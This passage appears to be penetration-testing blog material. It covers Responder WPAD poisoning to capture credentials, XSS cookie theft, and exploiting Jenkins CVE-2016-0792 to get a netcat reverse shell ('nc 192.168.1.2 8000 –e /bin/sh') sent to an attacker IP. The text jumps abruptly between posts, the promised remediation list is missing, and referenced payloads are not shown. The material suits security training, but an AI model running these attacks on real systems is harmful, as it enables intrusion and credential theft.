2. Running Responder with WPAD Enabled: Another way to leverage Responder is to utilize its WPAD feature. On an enterprise network often a DNS entry for “WPAD” should exist and direct users requesting access to the Internet to a proxy server that hosts a “wpad.dat” file. If no entry for this file exists and users leverage Internet Explorer on their clients then their requests could fall victim to WPAD poisoning attacks. Internet Explorer is vulnerable to these attacks due to its configuration “Autodetect proxy setting” being enabled by default. If a DNS query fails for the WPAD file due to a lack of configuration in DNS entries, then the clients request falls back to (WINS) Windows Internet Name Service which broadcasts the local network for “WPAD” on the network. This is where Responder comes in and allows the ability to spoof WPAD requests. Below is an example of running Responder with the WPad (-w) and Basic authentication prompt (-b) being enabled to capture potential credentials.
Once a user on the local network attempts to reach the Internet while using Internet Explorer in this example they should receive the following basic authentication login prompt from our WPAD poisoning. This prompt then routes credentials to the responder session running and stores any captures within the “ log/” directory.
3. Running Responder in a Analyze Mode: Depending on your rules of engagement or curiosity of whether your local network utilizes these various protocols were discussing responder has a monitoring feature called Analyze. This mode is much less intrusive than other options discussed prior that actively spoof the network. By enabling the Analyze (-A) feature you can review the local network for various types of traffic including LLMNR, NBNS, WPAD, Browser, etc.
This feature is sent to your running session and logged in the “Analyzer-Session.log” for further review. Ultimately Analyze mode can present a clearer picture of the networks communication and whether or not poisoning attacks could be a potential vulnerability without attempting to exploit the network.
Poisoning the Network Even Though the Host is Locked!
Recently Room362 posted a blog on how an attacker with physical access to an organizations system can perform these multicast attacks with Responder by plugging in a specialized USB device even on a locked system! The blog covers the configuration of weaponizing your USB device and how USB on many systems is simply Plug in Play, meaning that even when a systems screen is locked the device can still be installed and run the specified responder command to capture traffic.
How Do I Prevent Multicast Name Resolution Poisoning?
Currently many companies and their local networks lack the proper remediation necessary in order to prevent these types of multicast communication attacks. Below are several suggestions and potential remediation approaches that could prevent these spoofing and poisoning attacks:
Web applications are a natural occurrence in almost every engagement. This is the case on both internal and external networks of just about every company or organization. Sometimes they are kept separate from the rest of the network, sometimes they are everywhere, and sometimes they are hidden or forgotten (even from the people who run the network!).
Web applications will often have a wide variety of uses in the organization. Due to this, they will have a lot of variance in their purpose and complexity, resulting in an application that can be very dynamic in nature with a wide degree of vulnerabilities and flaws. These vulnerabilities will often times vary greatly, ranging from improper handling of user input, general misconfigurations that affect usability, all the way to implementation of vulnerable software that allows for full compromise.
We will most often see applications with vulnerabilities in the following areas:
Note: These testing techniques were covered deeper in our BSidesDC 2016 talk “Beyond Automated Testing”Unlinked/Outdated Content:
Often time’s features of an application will be added or installed by default. These features may not have a production use or they are no longer needed and have been forgotten. This content will often contain a functionality that can be a detriment to the application as a whole, such as an insecure login form or a plugin that has not been updated.
An excellent example of dangerous content would be an unlinked Tomcat Manager resource. This is generally unlinked in the application and will often run on a different port or a different portion of the application. If this is accessible by default, it provides a management interface login that will allow the deployment of code that results in a full system compromise.
Improper User Input:
A common practice is to include areas of user input in an application to serve a purpose to both the user and the organization. An example of this could be a username/password field for a login in an application. This serves the purpose of allowing the user to access additional content, and provides the organization the ability to protect content from unauthorized user.
In the case of improperly handled user input, the addition of user input creates a host of potential issues, such as Cross-Site Scripting (XSS), SQL Injection, command execution, and so on. An example of this particular vulnerability is the existence of XSS in an application. This allows us to request the users session cookie (document.cookie), which could potentially allow us to take control of their existing session on the application (post authentication). Under normal circumstances we would create a malicious link containing the XSS and entice the user to click, resulting in execution of our code. We would then send the resulting data back to an attacker controlled server and attempt to ride the session. Below is an example of using XSS to send the current sessions cookie to the attacker.
Stored XSS Example:
Content Management Systems & Plugins:
Existing content management systems (CMS) are often deployed on an application to avoid extensive custom development and to ease the management of the system. Examples of content management systems are Wordpress, Joomla, Tomcat, and so on. A lot of CMS today will utilize plugins and third party software to enhance the functionality and usability of the system. An example of a CMS introducing vulnerability would be Wordpress relying on third party plugins, often with little approval required. This reliance on third party plugins and code is often the source of the trouble with these applications.
Known Vulnerable Software:
An organization will often deploy software and will either forget to apply updates, or not do their due diligence in validating that a software does not have known vulnerabilities. It is an important process to verify that the code deployed is secure by checking for CVEs or exploits related the application and doing thorough testing. Below is an attack narrative of a deployed piece of software (Jenkins) that has known vulnerabilities (Java Deserialization). In this scenario we take a look at the most recent CVE that was released with known exploits that can be easily replicated to gain full compromise of the system.
Attacker Scenario:
Attacker IP: 192.168.1.2
Victim IP: 192.168.1.11
In this scenario we are aware of an existing system on the network with an IP of ‘192.168.1.11’ running Jenkins. The victim implementation of Jenkins is vulnerable to a recent CVE (2016-0792). This vulnerability is a possibly pre-authentication exploit against Jenkins due to the use of Groovy that utilizes Java XStream. This vulnerability allows for the deserialization and execution of data when provided by an external user, resulting in remote command execution against the system. This vulnerability can be exploited with a proxy tool, and in this blog we will be demonstrating by using Burpsuite Pro (although Burp Free is acceptable).
To begin, we will first get an initial site map of the application utilizing Burp:
Once we have mapped the application, we can identify the potentially vulnerable application content (/Jenkins/createItem?name=foo):
The application will return an error stating that a POST request is required, with the convenient option to craft the request for us. Using Burps modify request method option, we can now work with our newly crafted POST request. We can send the request to the Burp Repeater tool, and get a baseline response from the server:
The initial response should indicate a 400 BAD REQUEST. This is due to a malformed POST request lacking the appropriate content. At this point, under normal usage we would want to craft a legitimate request, but as an attacker we will be crafting a malicious request. To do so, we will need to create our initial payload, which is based on the research by Contrast Security:
At this point, we can modify our payload to perform an action that suits our need. For the sake of this example, we will get a reverse shell from the server to obtain full user-level access. For this example, we will request a netcat connection while shoveling a shell into the connection using the following command: ‘nc 192.168.1.2 8000 –e /bin/sh’
To properly execute this command, we will need to modify the payload in the 
We will also run a netcat listener to receive our shell with the following command: ‘nc –lvp 8000’
Upon executing the request, the response should show a 500 internal server error and receive our shell: 
